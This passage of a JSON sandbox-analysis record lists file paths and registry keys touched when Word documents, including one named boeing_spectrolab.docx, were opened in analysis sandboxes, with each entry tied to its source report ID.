30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000019.db","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{6B41B612-EA89-417F-B055-28C7A5E0316C}.tmp","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"C:\\~$eing_spectrolab.docx-.docx","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"C:\\boeing_spectrolab.docx-.docx","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%TEMP%\\mso9B4.tmp","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{F88F9E11-3495-4BF5-9C3C-E76A6D36D867}.tmp","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\E49827401028F7A0F97B5576C77A26CB_C95AFE779A09B6B8C03D47AD8998ACC3","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\644B8874112055B5E195ECB0E8F243A4","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\83D60E9DFC568550303BDF888C6645C5","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\39D459DDDB99C3DF692AE55AF536FBF9","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\39D459DDDB99C3DF692AE55AF536FBF9","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\LocalCacheFileEditManager","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%TEMP%\\{B163D532-A94F-4B73-B9F6-F036CA11E6BA}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{D9EEAC33-AD2E-4351-97C7-F0072D7ADB40}.FSD","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%TEMP%\\{32FB4CA6-BDAB-49C1-A9DE-CA4BB6A9AF59}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\LocalCacheFileEditManager\\FSD-CNRY.FSD","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\LocalCacheFileEditManager\\FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\LocalCacheFileEditManager\\FSD-{C9B38DFC-531D-4EF3-B20D-97C782E92F3D}.FSD","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"PIPE\\DAV RPC SERVICE","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"\\device\\webdavredirector","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%WINDIR%\\System32\\oleacc.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\GKWord.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%COMMONPROGRAMFILES%\\System\\ado\\msadox.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{907AFDD0-9CB7-469C-B583-9DC7ACC3F998}.tmp","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\TermSets\\ca0e50d4-faa1-44ce-961e-bb1441c60e66.xml","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\TermSets\\f1ab6845-967d-4854-a0ba-4ec07f0f8113.xml","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\TermSets\\82b6639e-f7fc-4c18-ad2d-003a6e707765.xml","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\TermSets\\5b7703a5-8e8b-4b58-8b31-1cea35331da3.xml","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\TermSets\\4b7d5f16-e2f2-4fc0-bab3-6e8b931e57d6.xml","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%TEMP%\\CVR50A.tmp","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{ACEE9282-74AD-457D-AD61-9FE2A148DCFB}.tmp","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"C:\\~$33716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.docx","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"C:\\7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.docx","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%TEMP%\\msoAA8.tmp","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{D145BF8C-0FF0-41B2-816F-CC078893DC6E}.tmp","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\4BCBA19F872738F993693DD1CD0740D6","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\EF8498973015681E03A6B60C530C8A09","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\EF8498973015681E03A6B60C530C8A09","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%TEMP%\\{CCFDA236-3163-4624-9CE1-0ADB15FD5366}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{1BF898D5-151F-4136-BD3E-FD69DD7B1958}.FSD","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%TEMP%\\{595F0DE2-2BF1-482F-B68F-02890ECB3C64}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0\\OfficeFileCache\\LocalCacheFileEditManager\\FSD-{894284D8-1489-4260-BC2F-6EE9B76A2549}.FSD","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\5350218A.jpg","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.LNK","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\TermSets\\MetaInfo.xml","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\System32\\en-US\\msxml6r.dll.mui","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%TEMP%\\tst1C4C.tmp","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.MSO\\57EEF197.jpg","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"C:\\~WRD0001.tmp","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"C:\\~WRD0001.tmp:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\REGISTRATION\\DESKTOP-FVVF82A\\{71AF7E84-93E6-4363-9B69-699E04E74071}\\","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\REGISTRATION\\","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\OPTIONS\\VPREF\\","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\THEMES\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\WORDDOCPARTS\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\SMARTART\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\/33\\/33","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\E53\\E53","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\ )3\\ )3","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\MTTT\\MTTT","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{EC814DF5-6D42-43EC-9EED-DA58E10CAEC7}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{FD4316C2-FF33-42BF-BE78-39051EB67EC2}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\E6A3B45B062D509B3382282D196EFE97D5956CCB\\E6A3B45B062D509B3382282D196EFE97D5956CCB","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\+:3\\+:3","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\MAX DISPLAY\\MAX 